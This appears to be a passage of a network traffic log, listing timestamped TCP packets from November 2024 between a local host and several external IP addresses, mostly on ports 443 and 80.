Nov 19, 2024 18:00:33.724495888 CET	443	49730	4.175.87.197	192.168.2.8
Nov 19, 2024 18:00:33.725002050 CET	443	49730	4.175.87.197	192.168.2.8
Nov 19, 2024 18:00:33.729199886 CET	49730	443	192.168.2.8	4.175.87.197
Nov 19, 2024 18:00:34.733062029 CET	49730	443	192.168.2.8	4.175.87.197
Nov 19, 2024 18:00:34.733068943 CET	443	49730	4.175.87.197	192.168.2.8
Nov 19, 2024 18:00:34.733078957 CET	49730	443	192.168.2.8	4.175.87.197
Nov 19, 2024 18:00:34.733083010 CET	443	49730	4.175.87.197	192.168.2.8
Nov 19, 2024 18:00:37.504884958 CET	49738	443	192.168.2.8	94.245.104.56
Nov 19, 2024 18:00:37.504921913 CET	443	49738	94.245.104.56	192.168.2.8
Nov 19, 2024 18:00:37.504981995 CET	49738	443	192.168.2.8	94.245.104.56
Nov 19, 2024 18:00:37.505237103 CET	49738	443	192.168.2.8	94.245.104.56
Nov 19, 2024 18:00:37.505250931 CET	443	49738	94.245.104.56	192.168.2.8
Nov 19, 2024 18:00:38.291395903 CET	443	49738	94.245.104.56	192.168.2.8
Nov 19, 2024 18:00:38.342149019 CET	49738	443	192.168.2.8	94.245.104.56
Nov 19, 2024 18:00:38.342173100 CET	443	49738	94.245.104.56	192.168.2.8
Nov 19, 2024 18:00:38.346143007 CET	443	49738	94.245.104.56	192.168.2.8
Nov 19, 2024 18:00:38.346221924 CET	49738	443	192.168.2.8	94.245.104.56
Nov 19, 2024 18:00:38.392602921 CET	49738	443	192.168.2.8	94.245.104.56
Nov 19, 2024 18:00:38.392812967 CET	49738	443	192.168.2.8	94.245.104.56
Nov 19, 2024 18:00:38.392921925 CET	443	49738	94.245.104.56	192.168.2.8
Nov 19, 2024 18:00:38.463452101 CET	49738	443	192.168.2.8	94.245.104.56
Nov 19, 2024 18:00:38.463468075 CET	443	49738	94.245.104.56	192.168.2.8
Nov 19, 2024 18:00:38.473005056 CET	80	49728	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:38.473196030 CET	49728	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:38.567436934 CET	49738	443	192.168.2.8	94.245.104.56
Nov 19, 2024 18:00:39.133970976 CET	49745	443	192.168.2.8	142.250.185.65
Nov 19, 2024 18:00:39.134021997 CET	443	49745	142.250.185.65	192.168.2.8
Nov 19, 2024 18:00:39.134330988 CET	49745	443	192.168.2.8	142.250.185.65
Nov 19, 2024 18:00:39.134495974 CET	49745	443	192.168.2.8	142.250.185.65
Nov 19, 2024 18:00:39.134510994 CET	443	49745	142.250.185.65	192.168.2.8
Nov 19, 2024 18:00:39.329438925 CET	443	49738	94.245.104.56	192.168.2.8
Nov 19, 2024 18:00:39.329639912 CET	443	49738	94.245.104.56	192.168.2.8
Nov 19, 2024 18:00:39.329783916 CET	49738	443	192.168.2.8	94.245.104.56
Nov 19, 2024 18:00:39.338179111 CET	49738	443	192.168.2.8	94.245.104.56
Nov 19, 2024 18:00:39.338188887 CET	443	49738	94.245.104.56	192.168.2.8
Nov 19, 2024 18:00:39.338234901 CET	49738	443	192.168.2.8	94.245.104.56
Nov 19, 2024 18:00:39.338258028 CET	49738	443	192.168.2.8	94.245.104.56
Nov 19, 2024 18:00:39.675337076 CET	49754	443	192.168.2.8	13.32.99.21
Nov 19, 2024 18:00:39.675368071 CET	443	49754	13.32.99.21	192.168.2.8
Nov 19, 2024 18:00:39.675479889 CET	49754	443	192.168.2.8	13.32.99.21
Nov 19, 2024 18:00:39.676584959 CET	49754	443	192.168.2.8	13.32.99.21
Nov 19, 2024 18:00:39.676600933 CET	443	49754	13.32.99.21	192.168.2.8
Nov 19, 2024 18:00:39.771153927 CET	443	49745	142.250.185.65	192.168.2.8
Nov 19, 2024 18:00:39.772363901 CET	49745	443	192.168.2.8	142.250.185.65
Nov 19, 2024 18:00:39.772387981 CET	443	49745	142.250.185.65	192.168.2.8
Nov 19, 2024 18:00:39.773027897 CET	443	49745	142.250.185.65	192.168.2.8
Nov 19, 2024 18:00:39.773056984 CET	443	49745	142.250.185.65	192.168.2.8
Nov 19, 2024 18:00:39.773112059 CET	49745	443	192.168.2.8	142.250.185.65
Nov 19, 2024 18:00:39.773122072 CET	443	49745	142.250.185.65	192.168.2.8
Nov 19, 2024 18:00:39.773233891 CET	49745	443	192.168.2.8	142.250.185.65
Nov 19, 2024 18:00:39.774050951 CET	443	49745	142.250.185.65	192.168.2.8
Nov 19, 2024 18:00:39.778114080 CET	49745	443	192.168.2.8	142.250.185.65
Nov 19, 2024 18:00:39.778218985 CET	443	49745	142.250.185.65	192.168.2.8
Nov 19, 2024 18:00:39.778516054 CET	49745	443	192.168.2.8	142.250.185.65
Nov 19, 2024 18:00:39.778532982 CET	443	49745	142.250.185.65	192.168.2.8
Nov 19, 2024 18:00:39.973253965 CET	49745	443	192.168.2.8	142.250.185.65
Nov 19, 2024 18:00:40.037511110 CET	443	49745	142.250.185.65	192.168.2.8
Nov 19, 2024 18:00:40.037564039 CET	443	49745	142.250.185.65	192.168.2.8
Nov 19, 2024 18:00:40.037657976 CET	49745	443	192.168.2.8	142.250.185.65
Nov 19, 2024 18:00:40.037704945 CET	443	49745	142.250.185.65	192.168.2.8
Nov 19, 2024 18:00:40.040373087 CET	443	49745	142.250.185.65	192.168.2.8
Nov 19, 2024 18:00:40.043047905 CET	49745	443	192.168.2.8	142.250.185.65
Nov 19, 2024 18:00:40.043071032 CET	443	49745	142.250.185.65	192.168.2.8
Nov 19, 2024 18:00:40.046638012 CET	443	49745	142.250.185.65	192.168.2.8
Nov 19, 2024 18:00:40.046732903 CET	49745	443	192.168.2.8	142.250.185.65
Nov 19, 2024 18:00:40.046747923 CET	443	49745	142.250.185.65	192.168.2.8
Nov 19, 2024 18:00:40.052947044 CET	443	49745	142.250.185.65	192.168.2.8
Nov 19, 2024 18:00:40.053035021 CET	49745	443	192.168.2.8	142.250.185.65
Nov 19, 2024 18:00:40.053054094 CET	443	49745	142.250.185.65	192.168.2.8
Nov 19, 2024 18:00:40.059201956 CET	443	49745	142.250.185.65	192.168.2.8
Nov 19, 2024 18:00:40.063057899 CET	49745	443	192.168.2.8	142.250.185.65
Nov 19, 2024 18:00:40.063072920 CET	443	49745	142.250.185.65	192.168.2.8
Nov 19, 2024 18:00:40.065542936 CET	443	49745	142.250.185.65	192.168.2.8
Nov 19, 2024 18:00:40.067012072 CET	49745	443	192.168.2.8	142.250.185.65
Nov 19, 2024 18:00:40.067027092 CET	443	49745	142.250.185.65	192.168.2.8
Nov 19, 2024 18:00:40.071836948 CET	443	49745	142.250.185.65	192.168.2.8
Nov 19, 2024 18:00:40.075077057 CET	49745	443	192.168.2.8	142.250.185.65
Nov 19, 2024 18:00:40.075093031 CET	443	49745	142.250.185.65	192.168.2.8
Nov 19, 2024 18:00:40.078069925 CET	443	49745	142.250.185.65	192.168.2.8
Nov 19, 2024 18:00:40.079039097 CET	49745	443	192.168.2.8	142.250.185.65
Nov 19, 2024 18:00:40.079052925 CET	443	49745	142.250.185.65	192.168.2.8
Nov 19, 2024 18:00:40.124186993 CET	443	49745	142.250.185.65	192.168.2.8
Nov 19, 2024 18:00:40.126569986 CET	443	49745	142.250.185.65	192.168.2.8
Nov 19, 2024 18:00:40.126717091 CET	443	49745	142.250.185.65	192.168.2.8
Nov 19, 2024 18:00:40.126779079 CET	49745	443	192.168.2.8	142.250.185.65
Nov 19, 2024 18:00:40.126807928 CET	443	49745	142.250.185.65	192.168.2.8
Nov 19, 2024 18:00:40.126868010 CET	49745	443	192.168.2.8	142.250.185.65
Nov 19, 2024 18:00:40.132961035 CET	443	49745	142.250.185.65	192.168.2.8
Nov 19, 2024 18:00:40.135107994 CET	49745	443	192.168.2.8	142.250.185.65
Nov 19, 2024 18:00:40.135124922 CET	443	49745	142.250.185.65	192.168.2.8
Nov 19, 2024 18:00:40.139378071 CET	443	49745	142.250.185.65	192.168.2.8
Nov 19, 2024 18:00:40.143122911 CET	49745	443	192.168.2.8	142.250.185.65
Nov 19, 2024 18:00:40.143136978 CET	443	49745	142.250.185.65	192.168.2.8
Nov 19, 2024 18:00:40.145582914 CET	443	49745	142.250.185.65	192.168.2.8
Nov 19, 2024 18:00:40.145679951 CET	49745	443	192.168.2.8	142.250.185.65
Nov 19, 2024 18:00:40.145695925 CET	443	49745	142.250.185.65	192.168.2.8
Nov 19, 2024 18:00:40.151839972 CET	443	49745	142.250.185.65	192.168.2.8
Nov 19, 2024 18:00:40.155081034 CET	49745	443	192.168.2.8	142.250.185.65
Nov 19, 2024 18:00:40.155096054 CET	443	49745	142.250.185.65	192.168.2.8
Nov 19, 2024 18:00:40.158152103 CET	443	49745	142.250.185.65	192.168.2.8
Nov 19, 2024 18:00:40.158246994 CET	49745	443	192.168.2.8	142.250.185.65
Nov 19, 2024 18:00:40.158262014 CET	443	49745	142.250.185.65	192.168.2.8
Nov 19, 2024 18:00:40.164407015 CET	443	49745	142.250.185.65	192.168.2.8
Nov 19, 2024 18:00:40.167049885 CET	49745	443	192.168.2.8	142.250.185.65
Nov 19, 2024 18:00:40.167064905 CET	443	49745	142.250.185.65	192.168.2.8
Nov 19, 2024 18:00:40.170861959 CET	443	49745	142.250.185.65	192.168.2.8
Nov 19, 2024 18:00:40.170934916 CET	49745	443	192.168.2.8	142.250.185.65
Nov 19, 2024 18:00:40.170949936 CET	443	49745	142.250.185.65	192.168.2.8
Nov 19, 2024 18:00:40.176594973 CET	443	49745	142.250.185.65	192.168.2.8
Nov 19, 2024 18:00:40.178399086 CET	49745	443	192.168.2.8	142.250.185.65
Nov 19, 2024 18:00:40.178412914 CET	443	49745	142.250.185.65	192.168.2.8
Nov 19, 2024 18:00:40.182132006 CET	443	49745	142.250.185.65	192.168.2.8
Nov 19, 2024 18:00:40.183044910 CET	49745	443	192.168.2.8	142.250.185.65
Nov 19, 2024 18:00:40.183058977 CET	443	49745	142.250.185.65	192.168.2.8
Nov 19, 2024 18:00:40.187547922 CET	443	49745	142.250.185.65	192.168.2.8
Nov 19, 2024 18:00:40.191071033 CET	49745	443	192.168.2.8	142.250.185.65
Nov 19, 2024 18:00:40.191085100 CET	443	49745	142.250.185.65	192.168.2.8
Nov 19, 2024 18:00:40.192899942 CET	443	49745	142.250.185.65	192.168.2.8
Nov 19, 2024 18:00:40.192965031 CET	49745	443	192.168.2.8	142.250.185.65
Nov 19, 2024 18:00:40.192980051 CET	443	49745	142.250.185.65	192.168.2.8
Nov 19, 2024 18:00:40.198239088 CET	443	49745	142.250.185.65	192.168.2.8
Nov 19, 2024 18:00:40.199045897 CET	49745	443	192.168.2.8	142.250.185.65
Nov 19, 2024 18:00:40.199059963 CET	443	49745	142.250.185.65	192.168.2.8
Nov 19, 2024 18:00:40.203800917 CET	443	49745	142.250.185.65	192.168.2.8
Nov 19, 2024 18:00:40.207050085 CET	49745	443	192.168.2.8	142.250.185.65
Nov 19, 2024 18:00:40.207063913 CET	443	49745	142.250.185.65	192.168.2.8
Nov 19, 2024 18:00:40.209844112 CET	443	49745	142.250.185.65	192.168.2.8
Nov 19, 2024 18:00:40.211055994 CET	49745	443	192.168.2.8	142.250.185.65
Nov 19, 2024 18:00:40.211071014 CET	443	49745	142.250.185.65	192.168.2.8
Nov 19, 2024 18:00:40.213186026 CET	443	49745	142.250.185.65	192.168.2.8
Nov 19, 2024 18:00:40.213258982 CET	49745	443	192.168.2.8	142.250.185.65
Nov 19, 2024 18:00:40.213274002 CET	443	49745	142.250.185.65	192.168.2.8
Nov 19, 2024 18:00:40.217256069 CET	443	49745	142.250.185.65	192.168.2.8
Nov 19, 2024 18:00:40.219096899 CET	49745	443	192.168.2.8	142.250.185.65
Nov 19, 2024 18:00:40.219111919 CET	443	49745	142.250.185.65	192.168.2.8
Nov 19, 2024 18:00:40.220716953 CET	443	49745	142.250.185.65	192.168.2.8
Nov 19, 2024 18:00:40.220776081 CET	49745	443	192.168.2.8	142.250.185.65
Nov 19, 2024 18:00:40.220789909 CET	443	49745	142.250.185.65	192.168.2.8
Nov 19, 2024 18:00:40.224392891 CET	443	49745	142.250.185.65	192.168.2.8
Nov 19, 2024 18:00:40.224821091 CET	49745	443	192.168.2.8	142.250.185.65
Nov 19, 2024 18:00:40.224834919 CET	443	49745	142.250.185.65	192.168.2.8
Nov 19, 2024 18:00:40.227884054 CET	443	49745	142.250.185.65	192.168.2.8
Nov 19, 2024 18:00:40.230778933 CET	49745	443	192.168.2.8	142.250.185.65
Nov 19, 2024 18:00:40.230792999 CET	443	49745	142.250.185.65	192.168.2.8
Nov 19, 2024 18:00:40.231337070 CET	443	49745	142.250.185.65	192.168.2.8
Nov 19, 2024 18:00:40.234852076 CET	443	49745	142.250.185.65	192.168.2.8
Nov 19, 2024 18:00:40.234906912 CET	443	49745	142.250.185.65	192.168.2.8
Nov 19, 2024 18:00:40.234922886 CET	49745	443	192.168.2.8	142.250.185.65
Nov 19, 2024 18:00:40.234941006 CET	443	49745	142.250.185.65	192.168.2.8
Nov 19, 2024 18:00:40.234971046 CET	49745	443	192.168.2.8	142.250.185.65
Nov 19, 2024 18:00:40.238127947 CET	443	49745	142.250.185.65	192.168.2.8
Nov 19, 2024 18:00:40.239069939 CET	49745	443	192.168.2.8	142.250.185.65
Nov 19, 2024 18:00:40.239084005 CET	443	49745	142.250.185.65	192.168.2.8
Nov 19, 2024 18:00:40.244772911 CET	443	49745	142.250.185.65	192.168.2.8
Nov 19, 2024 18:00:40.245281935 CET	443	49745	142.250.185.65	192.168.2.8
Nov 19, 2024 18:00:40.245316029 CET	443	49745	142.250.185.65	192.168.2.8
Nov 19, 2024 18:00:40.245381117 CET	49745	443	192.168.2.8	142.250.185.65
Nov 19, 2024 18:00:40.245398045 CET	443	49745	142.250.185.65	192.168.2.8
Nov 19, 2024 18:00:40.245429993 CET	49745	443	192.168.2.8	142.250.185.65
Nov 19, 2024 18:00:40.250005960 CET	443	49745	142.250.185.65	192.168.2.8
Nov 19, 2024 18:00:40.251043081 CET	49745	443	192.168.2.8	142.250.185.65
Nov 19, 2024 18:00:40.251056910 CET	443	49745	142.250.185.65	192.168.2.8
Nov 19, 2024 18:00:40.251975060 CET	443	49745	142.250.185.65	192.168.2.8
Nov 19, 2024 18:00:40.252042055 CET	49745	443	192.168.2.8	142.250.185.65
Nov 19, 2024 18:00:40.252058029 CET	443	49745	142.250.185.65	192.168.2.8
Nov 19, 2024 18:00:40.255331039 CET	443	49745	142.250.185.65	192.168.2.8
Nov 19, 2024 18:00:40.258995056 CET	443	49745	142.250.185.65	192.168.2.8
Nov 19, 2024 18:00:40.259037018 CET	443	49745	142.250.185.65	192.168.2.8
Nov 19, 2024 18:00:40.259088039 CET	49745	443	192.168.2.8	142.250.185.65
Nov 19, 2024 18:00:40.259104967 CET	443	49745	142.250.185.65	192.168.2.8
Nov 19, 2024 18:00:40.259183884 CET	49745	443	192.168.2.8	142.250.185.65
Nov 19, 2024 18:00:40.262214899 CET	443	49745	142.250.185.65	192.168.2.8
Nov 19, 2024 18:00:40.265799046 CET	443	49745	142.250.185.65	192.168.2.8
Nov 19, 2024 18:00:40.265839100 CET	443	49745	142.250.185.65	192.168.2.8
Nov 19, 2024 18:00:40.265872955 CET	49745	443	192.168.2.8	142.250.185.65
Nov 19, 2024 18:00:40.265887976 CET	443	49745	142.250.185.65	192.168.2.8
Nov 19, 2024 18:00:40.265925884 CET	49745	443	192.168.2.8	142.250.185.65
Nov 19, 2024 18:00:40.269143105 CET	443	49745	142.250.185.65	192.168.2.8
Nov 19, 2024 18:00:40.271081924 CET	49745	443	192.168.2.8	142.250.185.65
Nov 19, 2024 18:00:40.271096945 CET	443	49745	142.250.185.65	192.168.2.8
Nov 19, 2024 18:00:40.272607088 CET	443	49745	142.250.185.65	192.168.2.8
Nov 19, 2024 18:00:40.272672892 CET	49745	443	192.168.2.8	142.250.185.65
Nov 19, 2024 18:00:40.272691965 CET	443	49745	142.250.185.65	192.168.2.8
Nov 19, 2024 18:00:40.276031971 CET	443	49745	142.250.185.65	192.168.2.8
Nov 19, 2024 18:00:40.279078960 CET	49745	443	192.168.2.8	142.250.185.65
Nov 19, 2024 18:00:40.279093027 CET	443	49745	142.250.185.65	192.168.2.8
Nov 19, 2024 18:00:40.279712915 CET	443	49745	142.250.185.65	192.168.2.8
Nov 19, 2024 18:00:40.279778004 CET	49745	443	192.168.2.8	142.250.185.65
Nov 19, 2024 18:00:40.279791117 CET	443	49745	142.250.185.65	192.168.2.8
Nov 19, 2024 18:00:40.282660007 CET	443	49745	142.250.185.65	192.168.2.8
Nov 19, 2024 18:00:40.283075094 CET	49745	443	192.168.2.8	142.250.185.65
Nov 19, 2024 18:00:40.283088923 CET	443	49745	142.250.185.65	192.168.2.8
Nov 19, 2024 18:00:40.286096096 CET	443	49745	142.250.185.65	192.168.2.8
Nov 19, 2024 18:00:40.286161900 CET	49745	443	192.168.2.8	142.250.185.65
Nov 19, 2024 18:00:40.286175013 CET	443	49745	142.250.185.65	192.168.2.8
Nov 19, 2024 18:00:40.289295912 CET	443	49745	142.250.185.65	192.168.2.8
Nov 19, 2024 18:00:40.291050911 CET	49745	443	192.168.2.8	142.250.185.65
Nov 19, 2024 18:00:40.291064024 CET	443	49745	142.250.185.65	192.168.2.8
Nov 19, 2024 18:00:40.292443037 CET	443	49745	142.250.185.65	192.168.2.8
Nov 19, 2024 18:00:40.292481899 CET	443	49745	142.250.185.65	192.168.2.8
Nov 19, 2024 18:00:40.292511940 CET	49745	443	192.168.2.8	142.250.185.65
Nov 19, 2024 18:00:40.292527914 CET	443	49745	142.250.185.65	192.168.2.8
Nov 19, 2024 18:00:40.295064926 CET	49745	443	192.168.2.8	142.250.185.65
Nov 19, 2024 18:00:40.295558929 CET	443	49745	142.250.185.65	192.168.2.8
Nov 19, 2024 18:00:40.298635006 CET	443	49745	142.250.185.65	192.168.2.8
Nov 19, 2024 18:00:40.298716068 CET	443	49745	142.250.185.65	192.168.2.8
Nov 19, 2024 18:00:40.298718929 CET	49745	443	192.168.2.8	142.250.185.65
Nov 19, 2024 18:00:40.298733950 CET	443	49745	142.250.185.65	192.168.2.8
Nov 19, 2024 18:00:40.298957109 CET	443	49745	142.250.185.65	192.168.2.8
Nov 19, 2024 18:00:40.299010992 CET	49745	443	192.168.2.8	142.250.185.65
Nov 19, 2024 18:00:40.404560089 CET	443	49754	13.32.99.21	192.168.2.8
Nov 19, 2024 18:00:40.428610086 CET	49745	443	192.168.2.8	142.250.185.65
Nov 19, 2024 18:00:40.432941914 CET	49754	443	192.168.2.8	13.32.99.21
Nov 19, 2024 18:00:40.432964087 CET	443	49754	13.32.99.21	192.168.2.8
Nov 19, 2024 18:00:40.434242010 CET	443	49754	13.32.99.21	192.168.2.8
Nov 19, 2024 18:00:40.434307098 CET	49754	443	192.168.2.8	13.32.99.21
Nov 19, 2024 18:00:40.444256067 CET	49754	443	192.168.2.8	13.32.99.21
Nov 19, 2024 18:00:40.444345951 CET	443	49754	13.32.99.21	192.168.2.8
Nov 19, 2024 18:00:40.446736097 CET	49745	443	192.168.2.8	142.250.185.65
Nov 19, 2024 18:00:40.446762085 CET	443	49745	142.250.185.65	192.168.2.8
Nov 19, 2024 18:00:40.597754955 CET	49754	443	192.168.2.8	13.32.99.21
Nov 19, 2024 18:00:40.597774982 CET	443	49754	13.32.99.21	192.168.2.8
Nov 19, 2024 18:00:40.704664946 CET	49728	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:40.704801083 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:40.709397078 CET	80	49728	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:40.709539890 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:40.709602118 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:40.721743107 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:40.721774101 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:40.726083040 CET	49763	443	192.168.2.8	20.190.160.17
Nov 19, 2024 18:00:40.726114035 CET	443	49763	20.190.160.17	192.168.2.8
Nov 19, 2024 18:00:40.726190090 CET	49763	443	192.168.2.8	20.190.160.17
Nov 19, 2024 18:00:40.726561069 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:40.726628065 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:40.726717949 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:40.726732016 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:40.728055954 CET	49763	443	192.168.2.8	20.190.160.17
Nov 19, 2024 18:00:40.728077888 CET	443	49763	20.190.160.17	192.168.2.8
Nov 19, 2024 18:00:40.797281981 CET	49754	443	192.168.2.8	13.32.99.21
Nov 19, 2024 18:00:41.109766960 CET	49764	443	192.168.2.8	162.159.61.3
Nov 19, 2024 18:00:41.109833002 CET	443	49764	162.159.61.3	192.168.2.8
Nov 19, 2024 18:00:41.109903097 CET	49764	443	192.168.2.8	162.159.61.3
Nov 19, 2024 18:00:41.110124111 CET	49765	443	192.168.2.8	162.159.61.3
Nov 19, 2024 18:00:41.110145092 CET	443	49765	162.159.61.3	192.168.2.8
Nov 19, 2024 18:00:41.110197067 CET	49765	443	192.168.2.8	162.159.61.3
Nov 19, 2024 18:00:41.110671043 CET	49764	443	192.168.2.8	162.159.61.3
Nov 19, 2024 18:00:41.110702038 CET	443	49764	162.159.61.3	192.168.2.8
Nov 19, 2024 18:00:41.110825062 CET	49765	443	192.168.2.8	162.159.61.3
Nov 19, 2024 18:00:41.110838890 CET	443	49765	162.159.61.3	192.168.2.8
Nov 19, 2024 18:00:41.148283005 CET	49766	443	192.168.2.8	172.64.41.3
Nov 19, 2024 18:00:41.148324013 CET	443	49766	172.64.41.3	192.168.2.8
Nov 19, 2024 18:00:41.148375034 CET	49766	443	192.168.2.8	172.64.41.3
Nov 19, 2024 18:00:41.149089098 CET	49766	443	192.168.2.8	172.64.41.3
Nov 19, 2024 18:00:41.149104118 CET	443	49766	172.64.41.3	192.168.2.8
Nov 19, 2024 18:00:41.532617092 CET	443	49763	20.190.160.17	192.168.2.8
Nov 19, 2024 18:00:41.532807112 CET	49763	443	192.168.2.8	20.190.160.17
Nov 19, 2024 18:00:41.575748920 CET	443	49764	162.159.61.3	192.168.2.8
Nov 19, 2024 18:00:41.576205969 CET	49764	443	192.168.2.8	162.159.61.3
Nov 19, 2024 18:00:41.576215982 CET	443	49764	162.159.61.3	192.168.2.8
Nov 19, 2024 18:00:41.576395035 CET	443	49765	162.159.61.3	192.168.2.8
Nov 19, 2024 18:00:41.576817036 CET	49765	443	192.168.2.8	162.159.61.3
Nov 19, 2024 18:00:41.576867104 CET	443	49765	162.159.61.3	192.168.2.8
Nov 19, 2024 18:00:41.577925920 CET	443	49764	162.159.61.3	192.168.2.8
Nov 19, 2024 18:00:41.577980995 CET	49764	443	192.168.2.8	162.159.61.3
Nov 19, 2024 18:00:41.580329895 CET	49764	443	192.168.2.8	162.159.61.3
Nov 19, 2024 18:00:41.580414057 CET	443	49764	162.159.61.3	192.168.2.8
Nov 19, 2024 18:00:41.580621958 CET	49764	443	192.168.2.8	162.159.61.3
Nov 19, 2024 18:00:41.580627918 CET	443	49764	162.159.61.3	192.168.2.8
Nov 19, 2024 18:00:41.580663919 CET	443	49765	162.159.61.3	192.168.2.8
Nov 19, 2024 18:00:41.580738068 CET	49765	443	192.168.2.8	162.159.61.3
Nov 19, 2024 18:00:41.581675053 CET	49765	443	192.168.2.8	162.159.61.3
Nov 19, 2024 18:00:41.581871986 CET	443	49765	162.159.61.3	192.168.2.8
Nov 19, 2024 18:00:41.582156897 CET	49765	443	192.168.2.8	162.159.61.3
Nov 19, 2024 18:00:41.582173109 CET	443	49765	162.159.61.3	192.168.2.8
Nov 19, 2024 18:00:41.633331060 CET	443	49766	172.64.41.3	192.168.2.8
Nov 19, 2024 18:00:41.633606911 CET	49766	443	192.168.2.8	172.64.41.3
Nov 19, 2024 18:00:41.633620024 CET	443	49766	172.64.41.3	192.168.2.8
Nov 19, 2024 18:00:41.634713888 CET	443	49766	172.64.41.3	192.168.2.8
Nov 19, 2024 18:00:41.634777069 CET	49766	443	192.168.2.8	172.64.41.3
Nov 19, 2024 18:00:41.635960102 CET	49766	443	192.168.2.8	172.64.41.3
Nov 19, 2024 18:00:41.636023045 CET	443	49766	172.64.41.3	192.168.2.8
Nov 19, 2024 18:00:41.636234999 CET	49766	443	192.168.2.8	172.64.41.3
Nov 19, 2024 18:00:41.636243105 CET	443	49766	172.64.41.3	192.168.2.8
Nov 19, 2024 18:00:41.670936108 CET	49764	443	192.168.2.8	162.159.61.3
Nov 19, 2024 18:00:41.687833071 CET	443	49764	162.159.61.3	192.168.2.8
Nov 19, 2024 18:00:41.688004971 CET	443	49764	162.159.61.3	192.168.2.8
Nov 19, 2024 18:00:41.688065052 CET	49764	443	192.168.2.8	162.159.61.3
Nov 19, 2024 18:00:41.688119888 CET	49764	443	192.168.2.8	162.159.61.3
Nov 19, 2024 18:00:41.688136101 CET	443	49764	162.159.61.3	192.168.2.8
Nov 19, 2024 18:00:41.688968897 CET	443	49765	162.159.61.3	192.168.2.8
Nov 19, 2024 18:00:41.689249039 CET	49765	443	192.168.2.8	162.159.61.3
Nov 19, 2024 18:00:41.689500093 CET	49765	443	192.168.2.8	162.159.61.3
Nov 19, 2024 18:00:41.689532995 CET	443	49765	162.159.61.3	192.168.2.8
Nov 19, 2024 18:00:41.703732967 CET	49766	443	192.168.2.8	172.64.41.3
Nov 19, 2024 18:00:41.705250978 CET	49763	443	192.168.2.8	20.190.160.17
Nov 19, 2024 18:00:41.705271959 CET	443	49763	20.190.160.17	192.168.2.8
Nov 19, 2024 18:00:41.705832958 CET	443	49763	20.190.160.17	192.168.2.8
Nov 19, 2024 18:00:41.707915068 CET	49763	443	192.168.2.8	20.190.160.17
Nov 19, 2024 18:00:41.708061934 CET	49763	443	192.168.2.8	20.190.160.17
Nov 19, 2024 18:00:41.708081961 CET	443	49763	20.190.160.17	192.168.2.8
Nov 19, 2024 18:00:41.741241932 CET	49768	443	192.168.2.8	162.159.61.3
Nov 19, 2024 18:00:41.741267920 CET	443	49768	162.159.61.3	192.168.2.8
Nov 19, 2024 18:00:41.741329908 CET	49768	443	192.168.2.8	162.159.61.3
Nov 19, 2024 18:00:41.741796970 CET	49769	443	192.168.2.8	162.159.61.3
Nov 19, 2024 18:00:41.741837978 CET	443	49769	162.159.61.3	192.168.2.8
Nov 19, 2024 18:00:41.741889000 CET	49769	443	192.168.2.8	162.159.61.3
Nov 19, 2024 18:00:41.742079973 CET	49769	443	192.168.2.8	162.159.61.3
Nov 19, 2024 18:00:41.742094994 CET	443	49769	162.159.61.3	192.168.2.8
Nov 19, 2024 18:00:41.742477894 CET	49768	443	192.168.2.8	162.159.61.3
Nov 19, 2024 18:00:41.742490053 CET	443	49768	162.159.61.3	192.168.2.8
Nov 19, 2024 18:00:41.757296085 CET	443	49766	172.64.41.3	192.168.2.8
Nov 19, 2024 18:00:41.757355928 CET	443	49766	172.64.41.3	192.168.2.8
Nov 19, 2024 18:00:41.757431030 CET	49766	443	192.168.2.8	172.64.41.3
Nov 19, 2024 18:00:41.757561922 CET	49766	443	192.168.2.8	172.64.41.3
Nov 19, 2024 18:00:41.757576942 CET	443	49766	172.64.41.3	192.168.2.8
Nov 19, 2024 18:00:42.018014908 CET	49770	443	192.168.2.8	162.159.61.3
Nov 19, 2024 18:00:42.018060923 CET	443	49770	162.159.61.3	192.168.2.8
Nov 19, 2024 18:00:42.018214941 CET	49771	443	192.168.2.8	162.159.61.3
Nov 19, 2024 18:00:42.018254995 CET	49770	443	192.168.2.8	162.159.61.3
Nov 19, 2024 18:00:42.018285036 CET	443	49771	162.159.61.3	192.168.2.8
Nov 19, 2024 18:00:42.018464088 CET	49771	443	192.168.2.8	162.159.61.3
Nov 19, 2024 18:00:42.018572092 CET	49770	443	192.168.2.8	162.159.61.3
Nov 19, 2024 18:00:42.018588066 CET	443	49770	162.159.61.3	192.168.2.8
Nov 19, 2024 18:00:42.018692017 CET	49771	443	192.168.2.8	162.159.61.3
Nov 19, 2024 18:00:42.018709898 CET	443	49771	162.159.61.3	192.168.2.8
Nov 19, 2024 18:00:42.040230036 CET	443	49763	20.190.160.17	192.168.2.8
Nov 19, 2024 18:00:42.040272951 CET	443	49763	20.190.160.17	192.168.2.8
Nov 19, 2024 18:00:42.040313005 CET	443	49763	20.190.160.17	192.168.2.8
Nov 19, 2024 18:00:42.040330887 CET	49763	443	192.168.2.8	20.190.160.17
Nov 19, 2024 18:00:42.040358067 CET	443	49763	20.190.160.17	192.168.2.8
Nov 19, 2024 18:00:42.040375948 CET	49763	443	192.168.2.8	20.190.160.17
Nov 19, 2024 18:00:42.040616989 CET	443	49763	20.190.160.17	192.168.2.8
Nov 19, 2024 18:00:42.040664911 CET	49763	443	192.168.2.8	20.190.160.17
Nov 19, 2024 18:00:42.041701078 CET	49763	443	192.168.2.8	20.190.160.17
Nov 19, 2024 18:00:42.041723967 CET	443	49763	20.190.160.17	192.168.2.8
Nov 19, 2024 18:00:42.041739941 CET	49763	443	192.168.2.8	20.190.160.17
Nov 19, 2024 18:00:42.041745901 CET	443	49763	20.190.160.17	192.168.2.8
Nov 19, 2024 18:00:42.047867060 CET	80	49761	185.215.113.206	192.168.2.8
Nov 19, 2024 18:00:42.047943115 CET	49761	80	192.168.2.8	185.215.113.206
Nov 19, 2024 18:00:42.337798119 CET	49761	80	192.168.2.8	185.215.113.206
